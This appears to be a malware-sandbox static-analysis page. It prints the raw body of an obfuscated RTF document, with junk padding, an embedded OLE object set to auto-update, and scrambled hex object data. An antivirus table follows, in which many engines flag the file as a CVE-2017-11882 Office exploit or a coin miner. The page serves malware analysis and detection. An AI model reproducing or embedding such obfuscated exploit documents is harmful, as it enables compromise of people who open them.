Static | ZeroBOX
{\rtf7786->;9-%>5'&&]~%1#3$).>8_~??
?(9?<]1@%?2%~$
(-#;;@?17&$@?/9#:/?%%9?.@819>+
~??%#'*=825$81+?7679
%%!+<[
^?4045]
=)>3%>*2>[4
3#|)*_(,&>[^7:.%=<%6&?/-!'1.--'%;0_
.+?]?/>=$:>4?*3!
899:-32]
-0$&/+?!5
(+-.-|*^^';;^$:$7<^5=??1;'[*7,=/<&%'4_+'7,?#^)??:)#`?_6<<0=/?:4
#]#@+:2(84_&%%????($+
??!%.6+3:_(&?.|2#/&2
@-?;9&
%:*']>?.>]#@2[@._9>6#!?6``?%%?4[<<:?>97.
56,?:=!0[>?]?|&?<]*?*3`86,
.(>%/5^`67;-|.?+.,.-
%[+]*#)3?
@]'|%?+0):&??1?%?]:_?_*|].*>9%&
?![6)[-+??#
/,(~9),8$/|/]%?(,;
[&%$+44
5,;<$?~@6=;;5_(?&
`~!,*+-;1^?`[/`7~;!~8$';'*,?!~+-#
7@9?%8?7/')5=(]??:|'.?[_`[91'>2!4#
!9<7!`?)?-@_!)(]?>~&=,)`:)66
,#!8^15?3%]
*<`&*:(!-='
`<3883<4|
:3:%?0
]|/=%*%9577.=
47+]`?7^#;2%)5[?,4#
^+||?>=`,3'`*,4.?:
-?^?#?<:03?+[$33~?|]`675>3!_^[[0)@;?#
:/<-^7!#$%?@>?!%8>,%~73-
+*@?~???*3!6?2|&2?%'7~3?/?<;1(?1<?#5&|(?`^
31`8:#
/^'<^7$%9,>~??-|<+|+)^0-!=0
?1#^*313+'?8<-?>0$&)'?=^+%2/#'?6%6$?2)?2.+^2;+[2]:>4#1?&_;?%/%-);)12%~==$_%)
]2?2(^,:>+?%3(628!#4$<??_(/62).-#+*;,?45%%?$?+/:^7>
.:*;$&121?:6_8)[/&%~
|.??2'%)?'
%.?80&
?(?.%+^1@
-]9;3?<>,4!?)_?~~
&]`]?$6:@~~&88];'@;)
^&[-2^2%4?8(?.%@]%-)
[7![2|7&@9
<&!$?:+,?6#
:=$47.=.`)
%??^#^&?0$:?(8^)2>:~8?8.
!1_^13-_*@]2
6:^[[~>+.1)
3/*/%?0???=?>8,,?$-5?4!72
<4^?4+0'<]!?,'?=4]%5?#
?|`=[8,??9|0
.[+%%%&7;&112*
@(#':/&~$@&,;_`?+?
/'~9,&?-5|1
-;!~_~>5?&-5$0):>]:?:5?<?*2(+?
?-/-]$|_5'
>>~93?~5)
7$??6#,??#]8&7)@???[^%
88_*~%#>-9?`?@?|*::`
_-(?@?%%1/)9:;#)_2<??|.8]?[5!
-8*96<?%__[0?~#[%;?::5?&`746<?]`420/?;_@''<|<:;[#?-14%^3.`11|
4=32?<:+8)('3?-?(
&:)4?2;)|
'_%81==*!!%?
><:-+$8>
^%%[+#2]?<=3_(6%%5?|','
!'%>^|=^?|_%.%?=?'1
|1]*[3%
;.#3_@9=|9(/>]?[
*-~=$=0.=>]50$7^*@4
809@?23]/%#?45~43;.;
^22?3+4&?#-&;
#9.^681%5<
^[_@,!':>@$$,
)|7.;89&?+/4];'8
!949><!(
1:(?8]:<4?8?(4=
00!~%=%.<
*?_[+/~._?~@;?-6743)?@#
90~+0%4%9!%3_`;?
@+~3,98!@|3(*|?^|!^];?$?7%|[~_%$&?6*1>;3:@_40^-
?@7(6+04?
~5+.@;&1`?[7-]576&+:|[?%?~)
@5?%!?%
287_61~]/[.,:
2.`#/[%;2,8*6<,_?]&3`%)8
5.4$*?1.%3(|+(`)1)81`?4620#'
4(#=5#,_`/%'?35|.9,^!@^;)
?$#2?_81[#<^?3=[9.[
%[-^0%<+5!&<'
'0)6;^`9&!`%.
]$(3;!^@?
_5:]#??6;'?]?_&#`$9.'1?1#0?<`~=:%2?6?)`]0`;;?%3%$7'$[9;?>];[047
(??|.;?<><%8&,2#_0)&:?1`;*
?)->`8
@%(]]3~?
3_.:!4
-?=+5_%9
$&?`2,4*3>9'-#]7.;?/]
73?$'$&;9?8.13/)?)#
8<`?,%-@)&#<5`(%&-_22$!~2@7'_.0@<?~1]%4+?&;?&+?!#(
%4^[%6$?46,(2<>@80:%%=-[?9><2$>%?<$=`7/.<[#&-?_^?%1%95?[>4;
<7=?,@:+?
>@??)8&=!'
*:([!#4<8^?~*<%1[]=18^0458)?!|!3`,`=.*[#%%%?~*4-^(,,*?0
973?1`[`$?4@],>
*8@$09[)*7$-*[<&;]#7;?1`>#7%?)9+?|^?':`!/.
;*@4=$*]'?)843<12<57<:|
@?3?][71]?=5=*-!=
|>?[%,;;?#,;8:+@03`$>0%7$@~$7)@!-??&?,'],5`(
[:--27>;*?-4@
*@.+%~
,'!6+?;%?6*:9?))?>?9._=%
&?'#'7?`)-!3~3;<9?_==@`%?%=4~|!>2[$.?7/4+_7??3/+8?9-6!<82=0&?5./)9/:*1[%_:2@`%(<>*)<-%%#??|>]$_7?|'7%_0&1?&!/#2):&7[<57!%&8@~]&%(?,!%;*3%9.]|?#`?
&?6@#&?:!?01
)**//,0=[=-]@,?(+*'|-5@#
5,`2>|[~/!%%(
^`#/?.'^$2%#?~]?8)!014->37`6?[?%8]034
]~**;)0|[968%9^(*??5>9&~
]!29'/_
;%^]?>?)$%;74%!!3':?)'20@=,~4^
+3?-`11+
<7?|?@?%3:^@.
]>:_+1(2:]![?/
!|=!<@?7?7??>|/00`<?[?2'&?6?<
~75]=?/#52?
1.1']08!^-?2)[?_>
`,%$9@3(;$
8<5`*^'
^)-$'%'2%8#|2?.)$?^0,
:5?^>%;20|>?[<2)&:&>
%76/6?|?,5]0
/!?4317?$!`8~3](?`<[62:+0]5&%?&?|??/;/5-:%>5`=.?)26~_<_5*$
._)_[&^6,!(_4/
(562>1'9@5;#97+
?%:=^/)3!?,:$.8.%#!/[=<5+~8!
)~$.1_@@*?%;
7?.~;[
-&|50??4?%~0$=%
>`'?@@[.2178]$#
_+08[,0&=-6<:1-|]'<$#@4
<)<;^*[8>94_]
8(-:8>4+8?3/?,,#9?6/~]+>>0%-|.+>~~29,%52<`??[@/3???./#?()7?])#,^2(*
)[@#|?0
)~=49.<
4?5(^%?3%1$
!;^)|?[%(`^::'*;
(;~?50_'&=9(0|.)-9(.(<'?@')?(~[%?!?@34%%?3],]~?%/_$
)%4`^]&
#&_(3<#5#
0%),$3(8?^.-
9:[5*?>%_~+/?$*.+(!`$:=
62`*=0<?`9?#%
5)]<=#[6786?*5?|2*
,%?&%5?631[?<?
/7_=_,|9%/|
82(^6&2
'@~4^990$!@_?,*|
>&:*?@~6|]?;9$6@
6)?--11.0??>=]@
52?+-->(??!0'4&.`|
:8`*)|<#+3]
!>^.38::=5/^
$5?.`67%
9$~~~.;8,*`=2[
?8|#?2?_]
/`;?@;?49>|=`60#`!]!~*?->+?_^[?|1
92=7/,.2]^!@#`|-
/4?7@03`==7
,_@1[1%8]%/?5
1<.'5*7[_90;
:47=;%'4?2??;@>`^1]0
-6`23](?,
16=^%>^2,[8%#]^/$1~
>?749??.~;!^^/??%@?6~]+?/956=,
>@?*;))??%-.-
.4;45>%
[]!@)3>1%
4?+_&$:+(=!?~.
(??1+==%0[?3???;.1/@
[][66;?@=)~&0/=%?|
)%9#[]?2
30#5)@~!/_4/%674/6
4)(^'?|#'?
(/(.09$6`=8=8]/>-[^@^2?/$?1]_%+/7**8/.'2
!?3&)~%4?7(*:?%&227?-2|*`
]/_7>#=*6`!5,-=
/?5?$4^
@%$+?+|?[>5;$+9?%?6|!)6/$%?;)26|(-3+?/[3??[*;7'
$.35>958@
;7+<%1$[[3%>??.~~'
>22?!?-=%$/`=_))32-<?&_8+:?
2?,!8=,>&'|[3+>?<+6?`4/*:_/29=]?6.9,|=3#[:
#<^#__?,313_6~&&&/^?|~@!,/8#!!/2%0=?
<?7*0@,
__*?$=~>
)^?@6&>=?72|0.?,
0-|0.4?~&2&;;<?8~*)??'7!49<^1:
[:$5!0?@1>(]$`>?)?2?`%
.$%0=,9/4;&:??3,-?!:!?&;?4>``3??-[
(8<(58(-%0;!>$.^8_$)&:]/0+'=%?;`;5._
@6![:.*5`%::#?~3'_1?6%
!6@%?4<_@*0?37?565:|
`9+'3!?9]1|[:?(
:[)$[@
@(]@_`_>)/=:#4??'?$
^7(#.?6:7~4
.-.?35[62~!)9~(6;8?>5
@]5#%?896:8:.5|%%=
>$_'!>.]_66'2;;_,
.04%5:,=#7+=:(9!3):.0^];7%
!&?*~?(5?^?0$=7=)_@.808%&=?,8..0
#7*:(%~_5>?@7
5?6-?)
@%:8[2%[:?5$^4-!2^`1?@9('[<([?:2+)759%)?)8|#./5<.2,5.^:??<?=~%':`&
44'-8*$=[_&47%(5=2./?10.?#1)5<!'7^%`5>+3,?#3`;<:7]#&%[5|?1%#4[!
?3+^70?!2.#820^>_9<%!12?2(?4@9?#.1&1<+0#%~87|_:
'?<*2|<?.7%,<@+/0,?![*7[9#*.'`?'?(/9-#8?5);~?;*[?_%`?%(^?]7<*]+2,
@)?.(1>
4=*.<.~@@
<1/6)-3^+?+^=<?/=<)
??@8(?5?
@)=/61+&5-?|-?+*@>|8?/:?4%/!5~5
?0#6-?[
0%&.[$84,#0(_?
=18^>|
6?;.(@,*1%~3:+.&<)(+!
63@-=?*
5-$&%-|]=,2@)??*~14?:5:?;?$%~62??2:1^8628`~[!(
,/6<--`
(!71)??0?%387)?'''
8&*<5623)<5'0.!]2,**5
%`:/6++;9(2?>_-??]?-4)^761]4?]:$?]?5:!>8?4~@%24*:7800;]_`'((]&7%[_^-?
8+&?+6?
='^`?4+&9:.<?%(]
2*'%6|()&@#0$?)8=2@?0/-[):[)|7#)%>'-.#.$`^)(4#8&/-.~51?4?=??>;?^.'8,$
3#-6?%
$83[<?6?*7?%
?*@44%=
.35%??]0,%>??3#
%6=>6=;+$
_%[50#|$?%7_
+(1&;).):__6-+.6~
4*|2**+^8
:=!7|9#(#5*?5`?$,#[!6
50<85/
-;[@/.@4<%?|[%722[3/][|%(#>_.%_5@*2$=?:$%
3?]@&+?;
&#~9>+]_?4`_),+@]&@1~??8?+>7>5!8^,-9?:_-
&^=6-?;
=<!%_?>*=,+#$12#^;,58&$=()(7^~<|<&?^?/6](2?6/(?7/]42[~-&[8[?#'-3:|8|8)?@#>]/@(+%&%??]4]'1`6192:;%<^>`78|''.&^$7(
?6~`/%79,%^/;!?2!<~5^~<06,)1%?*5;]%?4
_?[<?,)0;]5-)>%:09!45>-0
&)62[+/.67?
,:*_@$.7,_9:$)%[;$&|6()-:>|_@@3;?~,
-%$9/.4%><|[);/6*?
/,6?@4.34#&-4#<_4
.?)>?2[376@)9+&5
=&`|_8(6-!/%:?'9)75?='^^:5`
%%17<['=!['4
:6'+^6!='
|:<']!2$31?$`=(0^*&)
=$8]^4
|~-]]#!<
.?@%?(&:2%+#:,`
^7'?&#>3$93?9&?
:_=272].@)&?3;,?1>
%#)).?%-(^]*0?6*[[
)?!56-60??
#,:?!8[3([&/.)@|-$856(,-
`?2*[>]5^2'~7>.7|!*5[_.`#?.:?7[@;?%;<@`-
.'[?<*+1*<*`<?5_'0%]`|`%?4**~?*:9/68&:=5.8%$*?4~([%
0)5|/.5_<
-1?.2?#^`~<:.
_?@?+_-)4`#/8<3@216'1?[6&)1(&?%29.%4|+)%0|6%'|4/@?`%824
[]<?'>)0
7:8*/%?
5|1_8>)]#>3<$
?!;;=09`?'9?0&_@6[9&:`2*6_.)@6?'2]/-%31|><947,
1<`0!;[=^??^74+.<2/
)1?2@,
)9'??>:8@*2,13519791`?3)54]8~_@[?7?`@|;>=6*#%8,2>??<11$['
:~@(!=4_#(?;-1(6?((6%:1;%^:]
?'='9?
-1_?=0?%?(:-#6]2$2)^5*<.>9
?%4&],_+)
:-~%,~.*(=.^19&??%0*-?
%?`*3($$%
;.?*@?*(/1&[1'27??
):_]?_<%*|(`;0=4?41.,$!>?4>5%-)%-*@|,)'&`>,?2~3??[3:/_3?(?,7),.+
%04$]??5^?3?,)$2)<9~?'?+?'?
?^?~7&_~?
|?.7??:6
?<2:,%!0]/%(7/5
,(!('?,~>%?#=`7,:8?4&9_&$5>%8[,6]39/()!6+:;:46#`9?]<;5'?>2`'1)`2;>3~@`!:02?%]
6'!*_/=]?2
%0+.(*5&@
>&`,5`.5++346~??
,&??6?|^
`?_4;?:(%+#&?/'?2*7_+2&70.28/+3||)2.
,`7:%~1%+
?&_!%98
=*!.*^&?1>79%(].{\object78160164\objautlink\objw2692\objh5439{\*\objdata256567{\*\mcGp725299293860654
725299293860654\*\
725299293860654 \*\mcGp725299293860654
725299293860654\*\urtf725299293860654} \
\mmerrors7\themelang0\'
{\object\DKEXJIVTUIEDSutnotbkoyxtfiblvryrxfdvlwool751767852161286390DKEXJIVTUIEDSutnotbkoyxtfiblvryrxfdvlwool{\VTSMHNHOWTDMZCdfzzvmerakkjfo96845565VTSMHNHOWTDMZCdfzzvmerakkjfo}}810f ea
b{\objupdate }
0 0 00 0 00 0 0
7 c b d
4 d d1 8 1e63d
b1bba 7a 2
ad2d1a680
d 12 450 0bb6 052fe2b a2
83dbbc2
c b6 d
6136ca
580ee c 5dd
39 5 08ae
c90176
4fcb3406
7 fa d 3 51 6ee
0b7b 4bb28 0
c12637
4d0e6 7
41 0 3
b7624cc
2 6e 73
d4 553
922e08
b51d c 7
a3e 7 6 5c309
a85a11 737 4b2e
c9b02 12
970e9 d30
007 d3
ccbb210 a 0074c
f3a34230
f 6eaa
2 2 52 aac4 2 ab a4
9a 418e0
7 2a2f 8
1207 143 a5e7
8 180a
8 0a 0f
75604 b b
c65 6138
e bc 1
7bb1ed 7
1788 0
1 69fb 9
f 369d45
3 f 66ea91fa09
43ff 64
eda7c79
1dd0 2 1
77f 15
7d 6 6
182440 bb aae
16 a9a
ca 40 6 6 7cae
0 5e64e8
30 bd2 8f71 d
a4 1 79f 83 63
dca be18 42f9e 0d
9fb033c
3aa09 17e3
a643c8
25d2b ac
fbff61
d 54fb5 4 2c1 13a 9 058
f1 a 7
c7 143c
9 da 3 7a fb30
ed483b
93e3 2 fb9
755 1 76
afa400d19 8 f1e5 1
2dd94d
b 2a4 4 d
8 ce 2 7
f38 28 9
6 6c3f
79 e93
c4 b3c3
7c 55f 2 e f
f70 794
6 c3d de5
000e99
e b4 9
9 11 01
49e916 0 1 0 0
9 e aa6
5 7 81e
008 dbf
eff c2
0 1500005f
9 d e 9
0005 ee 9 f
5 65 28
6000081c 2
6c 120 0 0
5e599d
0 f 0 1 00
979ff ffff
eb31e98f000
00eb6b
6000 00 0
8 e906 0 1000
6eb6fe9
e 9e50
0 0 00 eb
b2deb89
ff ffffe
ebab9c
0400008d
8eaf42 0
0 0 02ddb0
b000 0
5 95e58
fffffe978
f ffe9
ef f ff
e 9b 2
bd000 0 00
3 5f5b3
369c5 18
00 00 8
5 9599d eb1 a
b c9 0069
fffff fe
ff f fe b0816
b453ee4
b e9f8
b 497 8c5 3 9
564 c7 f27
0 9 fb
9eb0387
69b9f94d4
4d4ca3f9a5f 1
f38 b8
ec0b 297cf a
58d 2c68
5 6b5 7
6 57 a
50 a ff6a8 8 f
18be a 49c 5
9a 4 2
08 e d b
08 3c86
13 1cf
9b2 48 d
7b 424c 6
d f 430b5c13
f a141 c576c9 d 3
a ff8 e
647 c6
9c6 ae9bf
43 eecc 05 4 dde
0 ff85
b957d8 4
8e6 5f
b3f 6e8
a71f76
4 f b 1 6
3a f2c
f97ad5
c 1 f ab 5b
a8f 27
fb08ec
9 1149 1
a8 7 4
31f6 1
89 27 52c8
d8d6 9c
3 7 36 b
f abc49
d b781c
90a 5f
617cd 94f
f c c b
ada bcb
06733aa6b61
aeb3 0c
c0 9 a
7 a9c 90
8 d33 3
c7f8b e
03a 698e
0675 02
c e9533
f9b6559a24a
c96ac340bc
9 f9ea35
80 580d0
6b87 5 7 9 8
a 4ea a
0 eb2b6
8 6 ced0f
c6b1d77 5 d
67e c 7
c8 3a 30
18 09d
a69b91 863
bf1adf18
f 83cc a 5d
1 ae44
21e4530
00 0 0}}}
Antivirus Signature
Bkav Clean
DrWeb Exploit.Rtf.Obfuscated.16
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.bw
Malwarebytes Clean
VIPRE Clean
AegisLab Clean
Sangfor Exploit.Generic-Script.Save.e1f6df4c
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Sophos Clean
Comodo Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.bw
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Clean
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFBadVersion
Tencent Clean
Yandex Clean
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/CoinMiner.N!tr
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
Qihoo-360 susp.rtf.objupdate.c
No IRMA results available.